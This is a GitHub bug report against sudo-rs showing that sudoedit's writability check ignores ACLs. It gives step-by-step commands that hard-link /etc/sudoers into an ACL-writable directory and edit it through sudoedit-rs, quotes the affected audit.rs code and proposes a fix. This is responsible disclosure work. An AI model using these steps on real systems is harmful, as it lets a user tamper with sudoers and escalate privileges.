Skip to content

ACLs allow bypassing sudoedit's writability checks #1339

@Pingasmaster

Description

@Pingasmaster

I have found one more extremely similar bypass than the previously-reported #1310 with ACLs this time:

Prep: (with alice here by the user which will exploit)

sudo su
sysctl -w fs.protected_hardlinks=0
mkdir /etc/acltest
chown root:root /etc/acltest
chmod 0750 /etc/acltest
setfacl -m u:alice:rwx /etc/acltest

From alice:

ln /etc/sudoers /etc/acltest/notes
stat -c '%i %n' /etc/sudoers /etc/acltest/notes # confirm same inode

Then do:

[alice@pc /]$ EDITOR=nano sudoedit /etc/acltest/notes
sudoedit: /etc/acltest/notes: editing files in a writable directory is not permitted
[alice@pc /]$ EDITOR=nano sudoedit-rs /etc/acltest/notes

Tested on arch linux with latest sudo-rs v2.10.0.

Affected code

src/system/audit.rs lines 218-271:

let user_cannot_write = |file: &File| -> io::Result<()> {
    let meta = file.metadata()?;
    let perms = meta.permissions().mode();

    if perms & mode(Category::World, Op::Write) != 0
        || (perms & mode(Category::Group, Op::Write) != 0)
            && forbidden_user.in_group_by_gid(GroupId::new(meta.gid()))
        || (perms & mode(Category::Owner, Op::Write) != 0)
            && forbidden_user.uid.inner() == meta.uid()
    {
        Err(io::Error::new(
            ErrorKind::PermissionDenied,
            "cannot open a file in a path writable by the user",
        ))
    } else {
        Ok(())
    }
};

let mut cur = File::open("/")?;
user_cannot_write(&cur)?;

for component in components {
    let dir: CString = match component {
        Component::Normal(dir) => CString::new(dir.as_bytes())?,
        Component::CurDir => cstr!(".").to_owned(),
        Component::ParentDir => cstr!("..").to_owned(),
        _ => {
            return Err(io::Error::new(
                ErrorKind::InvalidInput,
                "error in provided path",
            ))
        }
    };

    cur = open_at(cur.as_fd(), &dir, false)?.into();
    user_cannot_write(&cur)?;
}

cur = open_at(cur.as_fd(), &CString::new(file_name.as_bytes())?, true)?.into();
user_cannot_write(&cur)?;

The new check only inspects meta.permissions().mode() and never re-evaluates whether the invoking user still has write access via ACLs. If an ACL grants write permissions to the user, the guard returns Ok(()) just as long as the traditional permission bits forbid writing, so an attacker can drop/update files (including hard links pointing to /etc/passwd or /etc/sudoers) and then call sudoedit-rs and open them.

I believe this could be fixed with something akin to faccessat2(dirfd, ".", W_OK, AT_EMPTY_PATH | AT_EACCESS) on linux and acl_get_fd_np/cap_rights_get on FreeBSD. I don't have the certainty to provide a fix that's 100% working so again I'll let you do the heavy work. Thanks!

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Relationships

None yet

Development

No branches or pull requests

Issue actions